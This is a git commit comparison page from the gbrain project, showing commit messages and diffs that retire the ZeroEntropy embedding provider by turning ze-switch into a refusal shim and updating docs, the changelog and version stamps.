Compare commits

...
Author SHA1 Message Date
Garry Tan 1a33147ea4 Merge remote-tracking branch 'origin/master' into garrytan/ze-switch-cleanup
# Conflicts:
#	scripts/module-size-limits.tsv
2026-08-16 14:46:37 -07:00
Garry TanandClaude Fable 5 03178624c5 docs: apply cross-model doc-review fixes for v0.46.12.0
Scope the CHANGELOG --brain claim to the JSON envelopes (the engine-free
--help renders the generic command); document the full refusal/redirect
envelope field sets in KEY_FILES.md; extend the ZE sunset-surface
inventory in embedding-providers.md and zeroentropy.md with the
providers env/explain and doctor surfaces this release shipped.

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
2026-08-16 13:24:23 -07:00
Garry TanandClaude Fable 5 bd76787953 docs: update project documentation for v0.46.12.0
KEY_FILES.md: extend the zeroentropyai.ts recipe entry's sunset-metadata
consumer list with the shared sunsetMarker renderings, and add the missing
src/commands/providers.ts entry (discovery surface + the sunset-marker
primitive the v0.47 removal wave inherits).

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
2026-08-16 13:11:03 -07:00
Garry TanandClaude Fable 5 1c04a1dfb0 chore: bump version and changelog (v0.46.12.0)
Full version lockstep: VERSION, package.json, the three plugin
manifests, the bootstrap runbook stamp, bun.lock, and the regenerated
template + plugin trees.

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
2026-08-16 12:43:52 -07:00
Garry TanandClaude Fable 5 5ddc74a2c4 fix: adversarial review fixes (multi-brain fidelity, envelope truth, validation width)
Cross-model adversarial pass (Claude subagent + Codex adversarial + Codex
structured review). All findings informational-or-P1-on-CI, all fixed:

- Multi-brain fidelity (Codex P1): --brain is stripped pre-dispatch, so
  `ze-switch --brain team-x --undo` printed a command targeting the
  DEFAULT brain — a paid re-embed of the wrong corpus. Every rendered
  command (undo redirect AND canonical refusal) now carries the explicit
  brain selector; pinned by pure-builder tests.
- Ratchet truth (Codex structured P1): the red-team commit grew cli.ts
  past the ceiling it had just set; ceiling now pinned at the exact
  count so `bun run verify` is green again.
- Envelope truth (both models): `migrate` and `undo_command` are now
  the LIVE commands with `migrate_preview`/`undo_preview` carrying
  --dry-run — an agent executing the named field can no longer exit 0
  on a preview and believe it migrated.
- Validation width (both models): MODEL_ID_RE now admits nested ids
  (ollama:model:tag, openrouter:org/model) so legitimate snapshots stop
  being reported as failed validation; string-"false" reranker state is
  rejected (it would have re-enabled a paid reranker); injection guards
  unchanged (leading-alnum, no whitespace).
- --undo on a brainless/unreachable machine now degrades through a null
  engine to the truthful refusal envelope instead of connectEngine's
  plain-text exit (spawn-pinned); --json=true spelling honored;
  --markdown restored to the retired set (old scripts reached it);
  redirect message carries a snapshot-recency caveat; deprecated explain
  rows lead with ⚠ instead of a green check.

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
2026-08-16 12:41:34 -07:00
Garry TanandClaude Fable 5 4aaa974d35 fix: red-team review fixes (guidance loop, dispatch refusal, flag-shape guard)
- A failed --undo no longer tells the user to run --undo (guidance loop
  an agent following printed instructions would spin on); the three undo
  failure states (missing / invalid / read-error) now word the refusal
  truthfully instead of claiming "no switch recorded" for a brain whose
  snapshot failed validation.
- cli.ts dispatch connects the engine ONLY for --undo: on an
  unconfigured machine every other invocation now reaches the
  provider_sunset refusal (with the --json envelope) instead of dying
  with "No brain configured" — the exact old-script contract the shim
  promises. Pinned end-to-end by a spawned-CLI empty-GBRAIN_HOME test.
- MODEL_ID_RE now requires provider:model shape with a leading
  alphanumeric, so a snapshot value like "--force-sunset-target" can
  never inject a flag into the printed return-path command.
- RETIRED_FLAGS exported + registry-row superset pin: the
  refusal-instead-of-unknown-flag promise lives in the GENERATED row,
  and a future help-copy trim would silently drop it without this test.
- Stale live-code comments swept: dims.ts OpenAI-dim note and
  embedding-migration.ts header no longer describe the retired
  ze-switch --undo action as a live path.

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
2026-08-16 12:25:40 -07:00
Garry TanandClaude Fable 5 b2bf39e5c2 fix: pre-landing review fixes (specialist findings, all informational)
- ze-switch --undo reranker fidelity (data-migration specialist): a
  snapshot with reranking disabled but a model id still set now prints
  --reranker off — enabled:false wins over the lingering model, matching
  what the retired undo action restored. The old precedence would have
  re-enabled a reranker the pre-switch brain had off.
- ze-switch snapshot hardening (security specialist): model ids must
  match [A-Za-z0-9._:-]+ and dims must be a positive integer before they
  interpolate into the printed return-path command / undo_command JSON
  (the snapshot row is data-plane content); a throwing engine.getConfig
  now degrades to the refusal instead of crashing; invalid shapes refuse.
- providers explain-row marker now renders through the shared
  sunsetMarkerText primitive (maintainability + testing specialists) —
  the docstring's "can't drift" claim is true again, and the row picks
  up the replacement tail.
- Wording truth-up: retired flags are REGISTERED (registry-row literals),
  not parsed — comment, help copy, and KEY_FILES entry no longer send a
  maintainer hunting for parse logic.
- Coverage gaps closed: enabled:false+model precedence pin, no-model arm,
  junk-dims + shell-metachar snapshot refusals, getConfig-throws case,
  sunsetMarkerText unit, positive message/Replacement assertions,
  keyless (ollama) + optional-env formatEnvOutput arms.

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
2026-08-16 12:11:40 -07:00
Garry Tan f8b4aca1c1 Merge remote-tracking branch 'origin/master' into garrytan/ze-switch-cleanup 2026-08-16 11:59:39 -07:00
Garry TanandClaude Fable 5 43fcd70d44 chore(todos): truth up the v0.47 ZE-removal checklist
Annotate what the interim ZE cleanup wave completed early (prompt module
deleted, ze-switch is a shim, providers env/explain sunset-aware, doctor
copy migration-first) so the September wave doesn't re-plan it; refresh
the stale e2e.yml line refs (:168,:179 drifted to :239/:250/:377) and
note the cli-help-without-brain list entry that dies with the shim.

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
2026-08-16 11:16:40 -07:00
Garry TanandClaude Fable 5 19af84ea6a docs(ze): de-market zeroentropy.md, neutralize historical imperatives
Docs and agent-readable skills still carried live encouragement toward a
provider with an announced shutdown:

- docs/ai-providers/zeroentropy.md: Setup section retitled "existing
  brains and self-hosters only — do not onboard" (signup link gone),
  price-comparison sell lines dropped (factual specs kept for
  self-hosters), the opt-in-on-conservative recipe replaced with
  voyage-first guidance, cost-anchor pitch deleted, banner updated to
  the ze-switch shim contract.
- skills/migrations/v0.36.2.0.md + v0.35.0.0.md: banners strengthened
  ("Do not execute any command in this file"); the imperative playbook
  sentences ("Recommend switching", the --force re-open tip, the era
  opt-in recipes) neutralized to past-tense historical record — a
  banner above contradictory instructions is instructions an agent can
  follow past; frontmatter headline/feature_pitch prefixed HISTORICAL
  (agent-skim metadata). Version references intact.
- docs/designs/2026_05_EVAL_PLAN.md: the smoke block's "All four MUST
  exit 0" imperative scoped to the non-ZE commands; ZE lines annotated
  historical.
- docs/guides/embedding-migration.md: schema transition attributed to
  the survivor module, not the retired ze-switch.
- scripts/llms-config.ts: index description reframed from setup-funnel
  to off-ramp.

skills.lock.json + llms bundles regenerated in the same commit.

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
2026-08-16 11:16:40 -07:00
Garry TanandClaude Fable 5 7f826a5f00 feat(providers,doctor): sunset-aware provider env + migration-first key hint
Two surfaces still funneled users toward a provider with an announced
shutdown:

- `gbrain providers env zeroentropyai` printed a clean signup funnel
  (dashboard URL + "get an API key" hint) with no deprecation note.
  runEnv now renders through the pure `formatEnvOutput` formatter:
  recipes with `recipe.sunset` get the deprecation block + replacement
  models + the canonical migration command INSTEAD of the funnel; key
  STATUS still renders so existing users see what's configured. Living
  providers are unchanged. Generic on recipe.sunset, so future sunsets
  inherit the behavior.
- `gbrain providers explain`'s HUMAN embedding table printed sunsetting
  providers as green-check cheap options (deprecation lived only in
  cons/JSON). Rows now carry the DEPRECATED marker.
- doctor's ze_embedding_health missing-key hint said "get a key at
  dashboard.zeroentropy.dev". Migration-first now: the fix is the
  off-ramp; the key path survives as the secondary note for the
  remaining hosted window.

One shared `sunsetMarker()` feeds list/explain/env so the three
renderings can't drift; `formatEnvOutput` guards a missing
`sunset.replacement` (no "undefined" prints). providers.ts joins the
canonical-migration-command consumer sweep; flag registry regenerated
(providers row picks up literals from the defaults.ts import).

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
2026-08-16 11:16:39 -07:00
Garry TanandClaude Fable 5 ed8f716bb7 refactor(ze): ze-switch becomes a truthful refusal/redirect shim
Every invocation now refuses or redirects; nothing mutates the brain.
The discovery surface was lying: --help printed the pre-deprecation
"switch onto ZeroEntropy" copy (and through the compiled binary never
even reached printHelp — the CLI_ONLY short-circuit answered with a
generic stub). A downstream agent read that copy and recommended
switching ONTO the provider that shuts down 2026-09-04.

- Wire ze-switch into CLI_ONLY_SELF_HELP + SELF_HELP_WITHOUT_ENGINE
  (arg-order wrapper) so the truthful help is reachable engine-free;
  membership pinned by test/cli-help-without-brain.serial.test.ts.
- ze-switch.ts is now a ~170-line shim: --help (exit 0, canonical
  migration command + playbook pointer), --undo redirects (prints the
  exact migrate command from ze_switch_previous_snapshot; status
  'redirected' + undo_command in --json; exit 1), everything else
  refuses (status 'refused', reason provider_sunset, migrate field;
  exit 1). Retired flags stay parsed so old scripts reach the refusal
  instead of a pre-dispatch unknown-flag error.
- The legacy undo/dry-run ACTIONS are retired: apply/undo wrote
  DB-plane config the post-v0.37 file-plane-canonical embed pipeline
  never reads, and undo emptied vectors with no verified re-embed.
  Scripted `--undo --non-interactive --confirm-reembed` now prints
  guidance instead of acting; `--dry-run --json` flips
  status planned->refused and exit 0->1 (both noted for CHANGELOG).
- DELETE src/core/retrieval-upgrade-prompt.ts (zero test coverage,
  sole importer was the dead interactive branch; removes the shipped
  "Switch to ZeroEntropy (RECOMMENDED)" banner copy).
- Planner survives as a test vehicle (multimodal pins + env-gate
  cases); stale state-diagram/resume-hint/1024d comments trued up.
- graph-embedding.ts width-consistency docblock no longer claims a
  ze-switch --resume hint; KEY_FILES entries updated to current state.
- Flag registry regenerated; ze-switch-cli tests rewritten to the
  shim contract (refusal matrix, redirect envelopes, corrupt-snapshot
  degradation, exit codes, binary-reachable help assertions).

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
2026-08-16 11:16:39 -07:00
35 changed files with 1013 additions and 831 deletions
+1 -1
View File
@@ -1,6 +1,6 @@
{
"name": "gbrain",
"version": "0.46.11.0",
"version": "0.46.12.0",
"description": "Personal knowledge brain for your coding agent — hybrid search, synthesis, graph traversal, and durable cross-session memory over Postgres/PGLite with pgvector, plus a curated brain-first skill set.",
"author": {
"name": "Garry Tan",
+1 -1
View File
@@ -1,6 +1,6 @@
{
"name": "gbrain",
"version": "0.46.11.0",
"version": "0.46.12.0",
"description": "Personal knowledge brain for your coding agent — hybrid search, synthesis, graph traversal, and durable cross-session memory over Postgres/PGLite with pgvector, plus a curated brain-first skill set.",
"author": {
"name": "Garry Tan",
+1 -1
View File
@@ -1,4 +1,4 @@
<!-- gbrain-runbook-stamp: 0.46.11.0 -->
<!-- gbrain-runbook-stamp: 0.46.12.0 -->
<!-- This stamp must equal the VERSION file at every release; CI enforces it
(scripts/check-bootstrap-tag.sh). `gbrain bootstrap status` compares it to
the installed binary and warns on skew. -->
+87
View File
@@ -2,6 +2,93 @@
All notable changes to GBrain will be documented in this file.
## [0.46.12.0] - 2026-08-16
**Every surface that could still steer you toward the retiring embedding
provider now tells the truth.** The provider's hosted API ends 2026-09-04;
v0.46.3.0 stopped the CLI from *acting* on a switch, but the discovery
surfaces — help text, provider setup output, doctor hints, historical agent
playbooks — still read like a recommendation. A downstream agent reading that
copy recommended switching a brain ONTO the dying provider; this release makes
that impossible.
### Changed
- **`gbrain ze-switch` is now a pure refusal/redirect shim.** `--help` leads
with RETIRED, the sunset date, and the one maintained off-ramp
(`gbrain migrate embeddings --to voyage:voyage-4 --dim 1024`), and it now
actually reaches you through the compiled binary (the generic help
short-circuit used to hide the command's own help entirely). Every
invocation refuses or redirects with exit 1; retired flags (`--resume`,
`--non-interactive`, `--force`, …) are still accepted so old scripts get
the refusal message instead of an unknown-flag error — even on a machine
with no brain configured.
- **Two scripted contracts changed deliberately:** `ze-switch --undo` no
longer acts — it prints the exact `gbrain migrate embeddings` command that
returns the brain to its pre-switch provider (the retired action wrote
config the runtime never read and emptied vectors with no verified
re-embed); and `ze-switch --dry-run --json` now returns
`{status:'refused', reason:'provider_sunset'}` with exit 1 instead of a
machine-readable plan targeting the dying provider (`status:'planned'`,
exit 0). JSON envelopes carry both `…_preview` (cost preview) and live
command fields, and every command those envelopes render preserves an
explicit `--brain` selector so multi-brain setups are never pointed at the
wrong database (the engine-free `--help` text shows the generic command).
- **`gbrain providers env <sunsetting-provider>` replaces the signup funnel**
(dashboard URL + get-a-key hint) with the deprecation notice, replacement
models, and the migration command — key STATUS still renders for existing
users. `providers explain` marks sunsetting rows with ⚠ instead of a green
ready-check. Both render through one shared marker so the surfaces can't
drift, and the behavior is generic: any future provider sunset inherits it.
- **`gbrain doctor`'s missing-key hint is migration-first** on a sunsetting
provider: the fix is the off-ramp; the key path survives as a secondary
note for the remaining hosted window.
- **Historical migration playbooks can no longer be followed past their
banners.** The two switch-era skill files now open with "Do not execute
any command in this file", their imperative recommendations are rewritten
as past-tense record, and their frontmatter pitches are marked HISTORICAL.
Provider docs drop the price-comparison sell copy and retitle setup as
"existing brains and self-hosters only — do not onboard".
### Fixed
- The undo guidance is exact: a snapshot with reranking disabled but a model
id still set now yields `--reranker off` (the old precedence would have
re-enabled a reranker the pre-switch brain had off); nested model ids
(`ollama:model:tag`, `openrouter:org/model`) validate correctly; snapshot
fields are shape-checked before they land in a command you're told to run;
a failed `--undo` never points back at `--undo`; and the three undo
failure states (missing / invalid / unreadable snapshot) each report
truthfully instead of claiming no switch was recorded.
### Removed
- The retired interactive switch banner and its benchmark pitch ("switch to
the new provider — RECOMMENDED") no longer ship in the binary; the module
that carried them is deleted ahead of the September removal.
### To take advantage of v0.46.12.0
`gbrain upgrade` is enough — no schema migration.
1. **Upgrade:**
```bash
gbrain upgrade
```
2. **If your brain still embeds or reranks through the retiring provider**,
run the off-ramp before 2026-09-04 (cost preview first):
```bash
gbrain migrate embeddings --to voyage:voyage-4 --dim 1024 --dry-run
gbrain migrate embeddings --to voyage:voyage-4 --dim 1024
```
Your agent can follow `skills/migrations/v0.46.3.0.md` end to end.
3. **Things to watch:** scripts that parsed `ze-switch --dry-run --json`'s
old `planned` envelope or relied on `ze-switch --undo` acting in place
must switch to `gbrain migrate embeddings` (the printed guidance names
the exact command, including your `--brain` selector). If anything looks
wrong, file an issue with `gbrain doctor` output:
https://github.com/garrytan/gbrain/issues
## [0.46.11.0] - 2026-08-16
**Five operational failures from live production brains, fixed at the root.**
+17 -7
View File
@@ -220,12 +220,19 @@ Staged-deletion discipline (ship replacements → migrate call sites → update
registry entries (recipes/index.ts); `zeroEntropyCompatFetch`,
`MAX_ZEROENTROPY_RESPONSE_BYTES`, `ZeroEntropyResponseTooLargeError` + the
fetch-ternary arm (gateway.ts); ZE sets in dims.ts; `ze-switch.ts` +
`retrieval-upgrade-planner.ts` + `retrieval-upgrade-prompt.ts` (~1200 lines) +
cli.ts dispatch/CLI_ONLY/flag-registry rows; `checkZeEmbeddingHealth` in doctor
`retrieval-upgrade-planner.ts` + cli.ts dispatch/CLI_ONLY/CLI_ONLY_SELF_HELP/
SELF_HELP_WITHOUT_ENGINE/flag-registry rows; `checkZeEmbeddingHealth` in doctor
(`provider_sunset` STAYS and goes generic — read `recipe.sunset` instead of the
hardcoded ZE constants); pricing rows LAST (budget-tracker rerank metering reads
them for historical audit rows). NOTE: test/ai/zeroentropy-compat-fetch.test.ts
greps gateway.ts SOURCE TEXT — delete the test with the code, in the same commit.
ALREADY DONE by the interim ZE cleanup wave (pre-Sept): `retrieval-upgrade-prompt.ts`
deleted (banner/marketing copy gone); `ze-switch.ts` is now a ~170-line pure
refusal/redirect shim (undo/dry-run ACTIONS retired — apply/undo wrote DB-plane
config the file-plane-canonical runtime never read); `providers env`/`explain` are
sunset-aware via the shared `sunsetMarker` in providers.ts (generic on
`recipe.sunset` — the removal wave inherits it); `ze_embedding_health`'s missing-key
copy is migration-first (the check itself still gets deleted here).
- [ ] **P1 — Self-host continuity decision.** The v0.46.3 playbook's zero-re-embed
path keeps the `zeroentropyai:zembed-1` id behind a base-URL override to a
ZE-wire-compatible endpoint. Recipe deletion breaks it. Decide: keep a minimal
@@ -235,11 +242,14 @@ Staged-deletion discipline (ship replacements → migrate call sites → update
playbook (skills/migrations/v0.46.3.0.md) links here — honor it.
- [ ] **P2 — Tests + CI.** Delete the 8 ZE-dedicated test files
(zeroentropy-recipe, zeroentropy-compat-fetch, dims-zeroentropy,
e2e/zeroentropy-live, ze-switch-cli, ze-switch-env-override, doctor-ze-checks,
provider-sunset-doctor.serial gets REWRITTEN generic not deleted) + update ~40
coupled files; drop the zeroentropy-live job + ZEROENTROPY_API_KEY secret from
.github/workflows/e2e.yml:168,179 (already date-skip-gated since v0.46.3);
scripts/test-weights.json rows.
e2e/zeroentropy-live, ze-switch-cli [now pins the shim contract — dies with the
shim], ze-switch-env-override [pins the planner's test-only functions],
doctor-ze-checks, provider-sunset-doctor.serial gets REWRITTEN generic not
deleted) + update ~40 coupled files; drop the zeroentropy-live job +
ZEROENTROPY_API_KEY secret from .github/workflows/e2e.yml:239,250,377 (line refs
refreshed by the interim cleanup wave; already date-skip-gated since v0.46.3);
scripts/test-weights.json rows. Also remove 'ze-switch' from the
cli-help-without-brain HELP_WITHOUT_BRAIN list when the shim dies.
- [ ] **P2 — Config + docs.** `zeroentropy_api_key` config key: keep
parseable-but-warned (removing it would make old config.json files fail to
load); delete docs/ai-providers/zeroentropy.md + its scripts/llms-config.ts
+1 -1
View File
@@ -1 +1 @@
0.46.11.0
0.46.12.0
+28 -31
View File
@@ -6,10 +6,13 @@
> recipe: `gbrain init` auto-pick and the interactive picker exclude it
> (explicit `--embedding-model zeroentropyai:*` still works, with a loud
> warning), every ZE embed/rerank call prints a once-per-process
> deprecation warning, `gbrain providers` annotates it DEPRECATED, and
> `gbrain ze-switch` refuses to switch a brain ONTO ZeroEntropy (`--undo`
> and `--dry-run` still work). The September release removes the recipe
> entirely. A brain still embedding through the hosted API loses semantic
> deprecation warning, `gbrain providers` annotates it DEPRECATED
> (`gbrain providers env zeroentropyai` prints this off-ramp instead of a
> signup link), and
> `gbrain ze-switch` is a pure refusal/redirect shim (every invocation
> refuses or redirects; `--undo` prints the exact migrate command that
> returns a switched brain to its prior provider — it no longer acts).
> The September release removes the recipe entirely. A brain still embedding through the hosted API loses semantic
> retrieval entirely on the shutdown date: query embedding uses the same
> endpoint, so **existing vectors become unqueryable**, not just new
> content. Two fixes, either works:
@@ -42,28 +45,29 @@
>
> The hosted setup below remains accurate until the shutdown date.
[ZeroEntropy](https://zeroentropy.dev) ships two specialized small models
for retrieval pipelines:
[ZeroEntropy](https://zeroentropy.dev) shipped two specialized small
models for retrieval pipelines (factual specs kept for existing users and
self-hosters — this is not a recommendation):
- **`zembed-1`** — multilingual embedding distilled from zerank-2.
Flexible Matryoshka dims (2560/1280/640/320/160/80/40), 32K context,
asymmetric `input_type: query|document` encoding. $0.025/1M tokens
(sale) / $0.05 regular.
- **`zerank-2`** — SOTA multilingual cross-encoder reranker.
$0.025/1M tokens (~50% cheaper than Cohere/Voyage rerankers).
Plus `zerank-1` and `zerank-1-small` for legacy / open-source needs.
asymmetric `input_type: query|document` encoding.
- **`zerank-2`** — multilingual cross-encoder reranker. Plus `zerank-1`
and `zerank-1-small` (open-source weights).
Both land in gbrain v0.35.0.0 behind the openai-compatible recipe path,
Both landed in gbrain v0.35.0.0 behind the openai-compatible recipe path,
alongside OpenAI and Voyage.
## Setup
## Setup (existing brains and self-hosters only — do not onboard)
1. Get an API key at
[dashboard.zeroentropy.dev](https://dashboard.zeroentropy.dev).
2. Export it:
```bash
export ZEROENTROPY_API_KEY=<your-key>
```
New installs use Voyage (`gbrain init` handles it); do not create a new
ZeroEntropy account for a provider that shuts down on 2026-09-04. A brain
that already has a key exports it as before for the remaining hosted
window:
```bash
export ZEROENTROPY_API_KEY=<your-existing-key>
```
## Leaving ZeroEntropy (the off-ramp)
@@ -124,19 +128,12 @@ the key, every rerank call fails-open (audit-logged) and search returns
RRF order — same UX as before, just with an observable failure surfaced
via `gbrain doctor`.
### Opt-in on `conservative` mode
### Enabling reranking today
```bash
gbrain config set search.reranker.enabled true
```
The override sits above the mode-bundle default; opt-out is one flip.
### Cost anchor
At 30 candidates × ~400 tokens/chunk × $0.025/1M = **~$0.0003/query**.
Rounding error against the `tokenmax + Opus` pairing's ~$700/mo at
single-user volume per the CLAUDE.md cost matrix.
Set the surviving reranker FIRST, then enable — enabling on a brain that
never set `search.reranker.model` falls back to the dying `zerank-2`:
`gbrain config set search.reranker.model voyage:rerank-2.5`, then
`gbrain config set search.reranker.enabled true`.
### Verify
File diff suppressed because one or more lines are too long
+8 -4
View File
@@ -221,15 +221,19 @@ Wire the harness to drive 3 embedding providers via the newly-exposed gbrain gat
```
### Smoke verification (run manually before opening PR)
> (Historical: the two `zeroentropyai:` commands below stop passing after
> 2026-09-04 — do not run them. Only the non-ZE smokes remain runnable.)
```bash
bun run eval:smoke -- --embedder openai:text-embedding-3-large --dim 1536
bun run eval:smoke -- --embedder voyage:voyage-4-large --dim 2048
bun run eval:smoke -- --embedder zeroentropyai:zembed-1 --dim 2560
bun run eval:smoke -- --embedder zeroentropyai:zembed-1 --dim 2560 --reranker zeroentropyai:zerank-2
bun run eval:smoke -- --embedder zeroentropyai:zembed-1 --dim 2560 # historical
bun run eval:smoke -- --embedder zeroentropyai:zembed-1 --dim 2560 --reranker zeroentropyai:zerank-2 # historical
```
All four MUST exit 0. Reports should print the observed vector dim, matching the
configured dim.
The two non-ZE smokes MUST exit 0 (the ZE pair did at the time). Reports
should print the observed vector dim, matching the configured dim.
### Open PR β
```bash
+2 -2
View File
@@ -123,8 +123,8 @@ ingestion — not just new content.
census, the un-merged file plane), so a pre-set env var cannot fake a
completed migration.
5. **Apply.** When the target width differs from the actual column width,
runs the same atomic schema transition `ze-switch` uses, in one
transaction. It rebuilds **all three dim-pinned text-embedding-space
runs the atomic schema transition owned by `embedding-migration.ts`
(the survivor module), in one transaction. It rebuilds **all three dim-pinned text-embedding-space
columns** — `content_chunks.embedding`, `query_cache.embedding`, and
`facts.embedding` — at the new width, preserving each column's type
(`vector` vs `halfvec`) and recreating its HNSW index. Missing any of the
+1 -1
View File
@@ -42,7 +42,7 @@ The resolved provider + dimensions get persisted to `~/.gbrain/config.json` atom
**Note on local providers.** Ollama and llama-server have no required API key, so they don't show up in env-detection auto-pick. Pick them explicitly with `--embedding-model ollama:<model>` to avoid silently routing to a daemon that may not be running.
**Note on the ZeroEntropy hosted API.** ZeroEntropy announced (2026-07-24) that its hosted endpoints shut down on **2026-09-04**, and the recipe is deprecated: init auto-pick and the interactive picker exclude it (explicit `--embedding-model zeroentropyai:*` still works, with a loud warning), every ZE embed/rerank call prints a once-per-process deprecation warning, and `gbrain providers` annotates it DEPRECATED. A brain still embedding through the hosted API loses semantic retrieval entirely on that date — query embedding uses the same endpoint, so existing vectors become unqueryable, not just new content. The off-ramp: `gbrain migrate embeddings --to voyage:voyage-4 --dim 1024 --dry-run` (cost preview), then `--yes`. 1280 is not a valid Voyage width (valid: 256/512/1024/2048), so a 1280d brain gets a one-time schema/HNSW rebuild to 1024; the OpenAI alternative keeps the width (flexible dims): `--to openai:text-embedding-3-small --dim 1280`. See [the migration guide](../guides/embedding-migration.md). Self-hosting the Apache-2.0 zembed-1 weights keeps every existing vector with zero re-embed, but the endpoint must speak ZeroEntropy's wire dialect — a generic OpenAI-compatible llama-server/Ollama will NOT work without a compat proxy (details in [`docs/ai-providers/zeroentropy.md`](../ai-providers/zeroentropy.md)). `gbrain doctor` (check `provider_sunset`) flags affected brains — including ZE-backed custom embedding columns — and prints target-aware paste-ready commands (Voyage at 1024; OpenAI keep-width when the brain's actual width is valid there); accepted the risk? `gbrain config set doctor.suppress_provider_sunset true` silences it.
**Note on the ZeroEntropy hosted API.** ZeroEntropy announced (2026-07-24) that its hosted endpoints shut down on **2026-09-04**, and the recipe is deprecated: init auto-pick and the interactive picker exclude it (explicit `--embedding-model zeroentropyai:*` still works, with a loud warning), every ZE embed/rerank call prints a once-per-process deprecation warning, and `gbrain providers` annotates it DEPRECATED (`providers env zeroentropyai` prints the deprecation notice + migration command instead of the signup funnel, `providers explain` leads the row with ⚠ regardless of key readiness, and `gbrain doctor`'s ZE missing-key hint is migration-first). A brain still embedding through the hosted API loses semantic retrieval entirely on that date — query embedding uses the same endpoint, so existing vectors become unqueryable, not just new content. The off-ramp: `gbrain migrate embeddings --to voyage:voyage-4 --dim 1024 --dry-run` (cost preview), then `--yes`. 1280 is not a valid Voyage width (valid: 256/512/1024/2048), so a 1280d brain gets a one-time schema/HNSW rebuild to 1024; the OpenAI alternative keeps the width (flexible dims): `--to openai:text-embedding-3-small --dim 1280`. See [the migration guide](../guides/embedding-migration.md). Self-hosting the Apache-2.0 zembed-1 weights keeps every existing vector with zero re-embed, but the endpoint must speak ZeroEntropy's wire dialect — a generic OpenAI-compatible llama-server/Ollama will NOT work without a compat proxy (details in [`docs/ai-providers/zeroentropy.md`](../ai-providers/zeroentropy.md)). `gbrain doctor` (check `provider_sunset`) flags affected brains — including ZE-backed custom embedding columns — and prints target-aware paste-ready commands (Voyage at 1024; OpenAI keep-width when the brain's actual width is valid there); accepted the risk? `gbrain config set doctor.suppress_provider_sunset true` silences it.
## If first import fails
+1 -1
View File
@@ -31,7 +31,7 @@ Repo: https://github.com/garrytan/gbrain
## AI providers
- [docs/ai-providers/zeroentropy.md](https://raw.githubusercontent.com/garrytan/gbrain/master/docs/ai-providers/zeroentropy.md): ZeroEntropy zembed-1 embedding + zerank-2 reranker (hosted): API key, embedding switch, reranker config. (deprecated; hosted sunset 2026-09-04)
- [docs/ai-providers/zeroentropy.md](https://raw.githubusercontent.com/garrytan/gbrain/master/docs/ai-providers/zeroentropy.md): ZeroEntropy (deprecated; hosted sunset 2026-09-04): the off-ramp for existing brains — migrate embeddings + reranker, self-host continuity, troubleshooting. Do not onboard.
- [docs/ai-providers/llama-server-reranker.md](https://raw.githubusercontent.com/garrytan/gbrain/master/docs/ai-providers/llama-server-reranker.md): Local reranker via llama.cpp --reranking: Qwen3-Reranker or self-hosted ZE weights, --alias setup, gbrain config keys, cold-start timeout, budget-cap interaction.
## Debugging
+1 -1
View File
@@ -1,7 +1,7 @@
{
"id": "gbrain-context-engine",
"name": "gbrain",
"version": "0.46.11.0",
"version": "0.46.12.0",
"description": "Personal knowledge brain with Postgres + pgvector hybrid search",
"family": "bundle-plugin",
"configSchema": {
+1 -1
View File
@@ -168,7 +168,7 @@
"bun": ">=1.3.10"
},
"license": "MIT",
"version": "0.46.11.0",
"version": "0.46.12.0",
"overrides": {
"@hono/node-server": "^2.0.5",
"fast-uri": "^3.1.5",
+1 -1
View File
@@ -1,4 +1,4 @@
<!-- gbrain-plugin-tree-stamp: 0.46.11.0 -->
<!-- gbrain-plugin-tree-stamp: 0.46.12.0 -->
# gbrain plugin skill tree (generated — do not hand-edit)
This tree is the curated skill set for the gbrain Codex and Claude Code
+1 -1
View File
@@ -176,7 +176,7 @@ export const SECTIONS: DocSection[] = [
{
title: "docs/ai-providers/zeroentropy.md",
description:
"ZeroEntropy zembed-1 embedding + zerank-2 reranker (hosted): API key, embedding switch, reranker config. (deprecated; hosted sunset 2026-09-04)",
"ZeroEntropy (deprecated; hosted sunset 2026-09-04): the off-ramp for existing brains — migrate embeddings + reranker, self-host continuity, troubleshooting. Do not onboard.",
path: "docs/ai-providers/zeroentropy.md",
// Setup walkthrough — discoverable in the index, not inlined in the
// single-fetch bundle (keeps llms-full.txt under FULL_SIZE_BUDGET).
+1 -1
View File
@@ -10,7 +10,7 @@ src/core/pglite-engine.ts 5660 ratchet peel target: containment sprint C15; grow
src/core/migrate.ts 668 region-exempt append-only MIGRATIONS array grows freely; runner logic is ratcheted
src/commands/sync.ts 4300 ratchet peel target: containment sprint C13-C14; grown v0.46.11.0 five-issue wave
src/core/ai/gateway.ts 4117 ratchet watchlist
src/cli.ts 3337 ratchet watchlist
src/cli.ts 3364 ratchet watchlist
src/core/cycle.ts 2933 ratchet
src/commands/serve-http.ts 2836 ratchet
src/commands/jobs.ts 2950 ratchet grown v0.46.11.0 five-issue wave
1 # Module-size ratchet ceilings (containment sprint). Enforced by
10 src/core/migrate.ts
11 src/commands/sync.ts
12 src/core/ai/gateway.ts
13 src/cli.ts
14 src/core/cycle.ts
15 src/commands/serve-http.ts
16 src/commands/jobs.ts
+22 -40
View File
@@ -1,17 +1,19 @@
---
feature_pitch: ZeroEntropy zembed-1 embeddings + zerank-2 cross-encoder reranking
feature_pitch: "HISTORICAL: ZeroEntropy zembed-1 embeddings + zerank-2 reranking (provider retired 2026-09-04)"
required_action: no # purely opt-in
---
# v0.35.0.0 migration notes
> **HISTORICAL — DO NOT FOLLOW.** ZeroEntropy's hosted API shuts down
> **2026-09-04**; the opt-in instructions below would strand a brain on a dead
> provider. To LEAVE ZeroEntropy, follow `skills/migrations/v0.46.3.0.md`.
> **HISTORICAL — DO NOT FOLLOW. Do not execute any command in this file.**
> ZeroEntropy's hosted API shuts down **2026-09-04**; the opt-in config
> edits and commands below would strand a brain on a dead provider. To
> LEAVE ZeroEntropy, follow `skills/migrations/v0.46.3.0.md`.
ZeroEntropy support landed. **No required user action.** Reranker is on by
default for `tokenmax` mode only; embedding model is unchanged for everyone
unless the user explicitly opts in via config file or env var.
ZeroEntropy support landed (historical record). **No required user action.**
Reranker was on by default for `tokenmax` mode only; the embedding model was
unchanged for everyone unless the user explicitly opted in via config file
or env var.
## What changed automatically
